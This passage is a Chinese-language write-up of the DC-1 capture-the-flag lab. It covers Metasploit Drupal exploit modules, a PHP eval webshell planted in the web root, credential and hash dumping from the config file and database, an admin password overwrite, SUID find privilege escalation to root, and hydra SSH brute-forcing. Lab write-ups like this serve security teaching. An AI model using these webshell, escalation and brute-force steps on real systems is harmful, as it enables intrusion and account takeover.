Name: Drupal RESTWS Module Remote PHP Code Execution
Module: exploit/unix/webapp/drupal_restws_exec
Platform: PHP
Arch: php
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2016-07-13
Provided by:
Devin Zuczek
Mehmet Ince <mehmet@mehmetince.net>
Available targets:
Id Name
-- ----
=> 0 Automatic
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The target URI of the Drupal installation
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits a Remote PHP Code Execution vulnerability in the
Drupal RESTWS Module. Unauthenticated users can execute arbitrary code
under the context of the web server user.
RESTWS alters the default page callbacks for entities to provide
additional functionality. A vulnerability in this approach allows
an unauthenticated attacker to send specially crafted requests resulting
in arbitrary PHP execution. RESTWS 2.x prior to 2.6 and 1.x prior to 1.7
are affected by this issue.
This module was tested against RESTWS 2.5 with Drupal 7.5 installed on
Ubuntu Server.
References:
https://www.drupal.org/node/2765567
View the full module info with the info -d command.
和第一个一样，看着应该是版本不对。
2.3.1.6 drupal_restws_unserialize(5)
使用 info 看一看：
msf6 > info 5
Name: Drupal RESTful Web Services unserialize() RCE
Module: exploit/unix/webapp/drupal_restws_unserialize
Platform: PHP, Unix
Arch: php, cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2019-02-20
Provided by:
Jasper Mattsson
Charles Fol
Rotem Reiss
wvu <wvu@metasploit.com>
Module side effects:
ioc-in-logs
Module stability:
crash-safe
Module reliability:
unreliable-session
Available targets:
Id Name
-- ----
=> 0 PHP In-Memory
1 Unix In-Memory
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DUMP_OUTPUT false no Dump payload command output
METHOD POST yes HTTP method to use (Accepted: GET, POST, PATCH, PUT)
NODE 1 no Node ID to target with GET method
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to Drupal install
VHOST no HTTP server virtual host
Payload information:
Avoid: 1 characters
Description:
This module exploits a PHP unserialize() vulnerability in Drupal RESTful
Web Services by sending a crafted request to the /node REST endpoint.
As per SA-CORE-2019-003, the initial remediation was to disable POST,
PATCH, and PUT, but Ambionics discovered that GET was also vulnerable
(albeit cached). Cached nodes can be exploited only once.
Drupal updated SA-CORE-2019-003 with PSA-2019-02-22 to notify users of
this alternate vector.
Drupal < 8.5.11 and < 8.6.10 are vulnerable.
References:
https://nvd.nist.gov/vuln/detail/CVE-2019-6340
https://www.drupal.org/sa-core-2019-003
https://www.drupal.org/psa-2019-02-22
https://www.ambionics.io/blog/drupal8-rce
https://github.com/ambionics/phpggc
https://twitter.com/jcran/status/1099206271901798400
Also known as:
SA-CORE-2019-003
View the full module info with the info -d command.
Drupal 8 的漏洞，那肯定用不了。
2.4 find flag
2.4.1 Shell 反弹
既然都能用，使用 drupal_drupalgeddon2 进行渗透，进入靶机 Shell 终端：
meterpreter > shell
Process 3540 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
可以看到当前用户的权限是 www-data，这时候的 Shell 也不是一个交互式 Shell，使用 Python 升级一下：
python -c "import pty;pty.spawn('/bin/bash')"
www-data@DC-1:/var/www$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
在 Shell 里查看文件还是比较费劲的，靶机也开了 Web，直接写马：
www-data@DC-1:/var/www$ echo '<?php @eval($_REQUEST[1]);phpinfo();?>' >> shell.php
<o '<?php @eval($_REQUEST[1]);phpinfo();?>' >> shell.php
www-data@DC-1:/var/www$ cat shell.php
cat shell.php
<?php @eval($_REQUEST[1]);phpinfo();?>
使用 AntSword 连接一下：
2.4.1.1 flag1
连接成功后，在网站根目录下发现了 flag1.txt 文件：
Every good CMS needs a config file - and so do you.
看样子是提示我们要找配置文件，google 一下：
找到了对应路径，访问一下：
2.4.1.2 flag2
找到了账号和密码，同时也出现了 flag2：
/**
*
* flag2
* Brute force and dictionary attacks aren't the
* only ways to gain access (and you WILL need access).
* What can you do with these credentials?
*
*/
'username' => 'dbuser',
'password' => 'R0ck3t',
尝试 SSH 登录一下：
ssh dbuser@10.10.8.19
ssh root@10.10.8.19
结果都登不上。
2.4.2 本地 MySQL 连接
既然都登不上，获取到的又是 MySQL 的账号密码，在本地连接：
www-data@DC-1:/var/www$ mysql -udbuser -pR0ck3t
mysql -udbuser -pR0ck3t
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 44
Server version: 5.5.60-0+deb7u1 (Debian)
Copyright (c) 2000, 2018, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
可以登录，尝试获取账号密码信息：
mysql> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| drupaldb |
+--------------------+
2 rows in set (0.00 sec)
mysql> use drupaldb;
use drupaldb;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
show tables;
+-----------------------------+
| Tables_in_drupaldb |
+-----------------------------+
| actions |
| authmap |
......
| url_alias |
| users |
| users_roles |
| variable |
| views_display |
| views_view |
| watchdog |
+-----------------------------+
80 rows in set (0.00 sec)
一眼就看到了 users 表，找一找：
mysql> select * from users;
select * from users;
+-----+-------+---------------------------------------------------------+-------------------+-------+-----------+------------------+------------+------------+------------+--------+---------------------+----------+---------+-------------------+------+
| uid | name | pass | mail | theme | signature | signature_format | created | access | login | status | timezone | language | picture | init | data |
+-----+-------+---------------------------------------------------------+-------------------+-------+-----------+------------------+------------+------------+------------+--------+---------------------+----------+---------+-------------------+------+
| 0 | | | | | | NULL | 0 | 0 | 0 | 0 | NULL | | 0 | | NULL |
| 1 | admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR | admin@example.com | | | NULL | 1550581826 | 1550583852 | 1550582362 | 1 | Australia/Melbourne | | 0 | admin@example.com | b:0; |
| 2 | Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg | fred@example.org | | | filtered_html | 1550581952 | 1550582225 | 1550582225 | 1 | Australia/Melbourne | | 0 | fred@example.org | b:0; |
| 3 | yongz | $S$DmrkWfQwOERt.yVCrK/KoUhkipstXAPkhxgx8/caQ.M9m8.7BMJf | 1234@qq.com | | | filtered_html | 1699400993 | 0 | 0 | 0 | Australia/Melbourne | | 0 | 1234@qq.com | NULL |
+-----+-------+---------------------------------------------------------+-------------------+-------+-----------+------------------+------------+------------+------------+--------+---------------------+----------+---------+-------------------+------+
4 rows in set (0.00 sec)
2.4.3 AntSword MySQL 连接
本地查找还是有点麻烦的，直接 AntSword 连接也可以：
也能查找到对应数据库内容：
2.4.4 Passwd Hash CMD5
管理员的密码为：
$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuD一看就是加盐过的，使用网站查询一下：
成功解密出密码：53cr3t。
2.4.5 Passwd Hach Create
当然在这里，我们也是可以自己修改管理员密码的，Drupal 就给了这样的脚本：
在 AntSword 上进行如下操作：
注：需要在 /var/www 下进行，因为文件执行时采用的是相对路径。
(www-data:/var/www) $ cd scripts
(www-data:/var/www/scripts) $ ./password-hash.sh 123
PHP Warning: include_once(/var/www/scripts/includes/password.inc): failed to open stream: No such file or directory in /var/www/scripts/password-hash.sh on line 83
PHP Warning: include_once(): Failed opening '/var/www/scripts/includes/password.inc' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/scripts/password-hash.sh on line 83
PHP Warning: include_once(/var/www/scripts/includes/bootstrap.inc): failed to open stream: No such file or directory in
(www-data:/var/www/scripts) $ cd ..
(www-data:/var/www) $ ./scripts/password-hash.sh 123
password: 123 hash: $S$DKZ9OkGR2kNOP34qm6lPHY.CVszApA5yWktmmZR5fi.ZnVgjHoLo
将生成的密码，进行更新：
UPDATE users SET pass = '$S$DKZ9OkGR2kNOP34qm6lPHY.CVszApA5yWktmmZR5fi.ZnVgjHoLo' WHERE name = 'admin'
2.4.5.1 flag3
尝试登录一下：
在 Dashboard 处发现了第三个 flag：
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
2.4.5.2 flag4
看样子是需要查看 passwd 文件：
www-data@DC-1:/var/www$ cat /etc/passwd | grep /bin/bash
cat /etc/passwd | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bash
提示的比较明显，应该是在 /home/flag4 这个目录下：
www-data@DC-1:/var/www$ cd /home/flag4
cd /home/flag4
www-data@DC-1:/home/flag4$ ls
ls
flag4.txt
www-data@DC-1:/home/flag4$ cat flag4.txt
cat flag4.txt
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
这里说 flag 在 root 目录下，但明显我们的权限是不够的，需要进行提权操作。
当然这里也可以使用命令直接去找 flag 文件：
## find
www-data@DC-1:/var/www$ find / -name "flag*" 2>/dev/null
find / -name "flag*" 2>/dev/null
/home/flag4
/home/flag4/flag4.txt
/var/www/flag1.txt
/usr/src/linux-headers-3.2.0-6-686-pae/include/config/zone/dma/flag.h
/usr/share/doc/tk8.5/examples/images/flagdown.xbm
/usr/share/doc/tk8.5/examples/images/flagup.xbm
/usr/include/X11/bitmaps/flagdown
/usr/include/X11/bitmaps/flagup
/usr/lib/gcc-4.9-backport/lib/gcc/i486-linux-gnu/4.9/plugin/include/flags.h
/usr/lib/gcc-4.9-backport/lib/gcc/i486-linux-gnu/4.9/plugin/include/flag-types.h
/usr/lib/perl/5.14.2/auto/POSIX/SigAction/flags.al
/sys/devices/virtual/net/lo/flags
/sys/devices/pci0000:00/0000:00:11.0/0000:02:01.0/net/eth0/flags
## grep
www-data@DC-1:/var/www$ grep -ri flag4 2>/dev/null
grep -ri flag4 / 2>/dev/null
/etc/group:flag4:x:1001:
/etc/passwd:flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bash
Binary file /usr/bin/omshell matches
/usr/share/ghostscript/9.05/lib/stcinfo.ps: (Flag4-0) 5 string
/usr/share/ghostscript/9.05/lib/stcinfo.ps: dup 0 /Flag4 STCiget {(T)}{(f)} ifelse putinterval
Binary file /usr/lib/libgs.so.9.05 matches
Binary file /usr/lib/libdns.so.88.1.1 matches
Binary file /sbin/dhclient matches
Binary file /proc/3578/task/3578/environ matches
Binary file /proc/3578/task/3578/cmdline matches
Binary file /proc/3578/environ matches
Binary file /proc/3578/cmdline matches
/lib/udev/rules.d/55-dm.rules:IMPORT{db}="DM_SUBSYSTEM_UDEV_FLAG4"
2.4.6 find 提权
由于没有密码，现在得思路就是看看有没有 SUID 命令，特权文件这些，最后再试内核提权：
www-data@DC-1:/home/flag4$ find / -perm -4000 2>/dev/null -exec ls -l {} \;
find / -perm -4000 2>/dev/null -exec ls -l {} \;
-rwsr-xr-x 1 root root 88744 Dec 10 2012 /bin/mount
-rwsr-xr-x 1 root root 31104 Apr 13 2011 /bin/ping
-rwsr-xr-x 1 root root 35200 Feb 27 2017 /bin/su
-rwsr-xr-x 1 root root 35252 Apr 13 2011 /bin/ping6
-rwsr-xr-x 1 root root 67704 Dec 10 2012 /bin/umount
-rwsr-sr-x 1 daemon daemon 50652 Oct 4 2014 /usr/bin/at
-rwsr-xr-x 1 root root 35892 Feb 27 2017 /usr/bin/chsh
-rwsr-xr-x 1 root root 45396 Feb 27 2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 30880 Feb 27 2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root 44564 Feb 27 2017 /usr/bin/chfn
-rwsr-xr-x 1 root root 66196 Feb 27 2017 /usr/bin/gpasswd
-rwsr-sr-x 1 root mail 83912 Nov 18 2017 /usr/bin/procmail
-rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find
-rwsr-xr-x 1 root root 937564 Feb 11 2018 /usr/sbin/exim4
-rwsr-xr-x 1 root root 9660 Jun 20 2017 /usr/lib/pt_chown
-rwsr-xr-x 1 root root 248036 Jan 27 2018 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 5412 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-- 1 root messagebus 321692 Feb 10 2015 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 84532 May 22 2013 /sbin/mount.nfs
发现 find 具有 SUID 权限，那就简单了，使用 whoami 命令试试：
www-data@DC-1:/home/flag4$ touch /tmp/1 ; find /tmp/1 -exec whoami \;; rm -rf /tmp/1
<touch /tmp/1 ; find /tmp/1 -exec whoami \;; rm -rf /tmp/1
root
结果是 root，那就没错了，获取 Shell：
www-data@DC-1:/home/flag4$ touch /tmp/1 ; find /tmp/1 -exec /bin/bash -p \;; rm -rf /tmp/1
<touch /tmp/1 ; find /tmp/1 -exec /bin/bash -p \;; rm -rf /tmp/1
bash-4.2# id
id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=0(root),33(www-data)
2.4.6.1 flag5
查看最后一个 flag 文件：
bash-4.2# cd /root
cd /root
bash-4.2# ls
ls
thefinalflag.txt
bash-4.2# cat thefinalflag.txt
cat thefinalflag.txt
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
3 补充
3.1 flag4 用户 ssh 爆破
看来其他文章，才发现也可以使用 hydra 进行 SSH 爆破，通常情况下我是不回去爆破，因为麻烦。
解压一下字典：
gzip -d /usr/share/wordlists/rockyou.txt.gz
使用 hydra 爆破：
root at kali in ~
$ hydra -l flag4 -P /usr/share/wordlists/rockyou.txt ssh://10.10.8.19
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-11-09 20:17:10
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://10.10.8.19:22/
[22][ssh] host: 10.10.8.19 login: flag4 password: orange
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-11-09 20:18:12
得到密码 orange，登录一下：
root at kali in ~
$ ssh flag4@10.10.8.19
flag4@10.10.8.19's password:
Linux DC-1 3.2.0-6-486 #1 Debian 3.2.102-1 i686
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
flag4@DC-1:~$ id
uid=1001(flag4) gid=1001(flag4) groups=1001(flag4)
后面操作不变。